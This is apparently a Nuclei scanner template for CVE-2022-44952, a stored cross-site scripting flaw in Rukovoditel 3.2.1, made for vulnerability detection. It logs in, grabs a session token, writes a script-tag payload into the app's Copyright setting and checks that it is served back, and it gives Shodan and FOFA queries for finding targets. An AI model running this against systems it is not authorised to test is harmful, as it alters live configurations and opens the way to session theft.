id: CVE-2022-44952

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in /index.php?module=configuration/application. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Copyright Text field after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/9
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44952
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44952
    cwe-id: CWE-79
    epss-score: 0.00903
    epss-percentile: 0.56268
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,intrusive,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=configuration/save&redirect_to=configuration/application HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMh2HSjWbM7zJjWOA

        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="form_session_token"

        {{nonce}}
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_NAME]"

        Test
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_SHORT_NAME]"

        test
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="APP_LOGO"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LOGO]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LOGO_URL]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="APP_FAVICON"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_FAVICON]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_COPYRIGHT_NAME]"

        <script>alert(document.domain)</script>
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_LANGUAGE]"

        english.php
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_SKIN]"


        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_TIMEZONE]"

        America/New_York
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_ROWS_PER_PAGE]"

        10
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_DATE_FORMAT]"

        m/d/Y
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_DATETIME_FORMAT]"

        m/d/Y H:i
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_NUMBER_FORMAT]"

        2/./*
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[APP_FIRST_DAY_OF_WEEK]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[DROP_DOWN_MENU_ON_HOVER]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA
        Content-Disposition: form-data; name="CFG[DISABLE_CHECK_FOR_UPDATES]"

        0
        ------WebKitFormBoundaryMh2HSjWbM7zJjWOA--
      - |
        @timeout: 5s
        GET /index.php?module=dashboard/ HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - status_code_4 == 200
          - contains(content_type_4, "text/html")
          - contains(body_4, "<script>alert(document.domain)</script>")
          - contains(body_4, "rukovoditel")
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - id="form_session_token" value="(.*)" type="hidden"
        internal: true
# digest: 490a00463044022063f8a93ec7b7cb5be2ef9a915c8467b49d9324bdd5aa355e061e55d8cf06e5eb0220204cc1e906c36b047584eddc6d9d3880bc66642a4886f20a48cfcdca8e605c4c:922c64590222798bb761d5b6d8e72950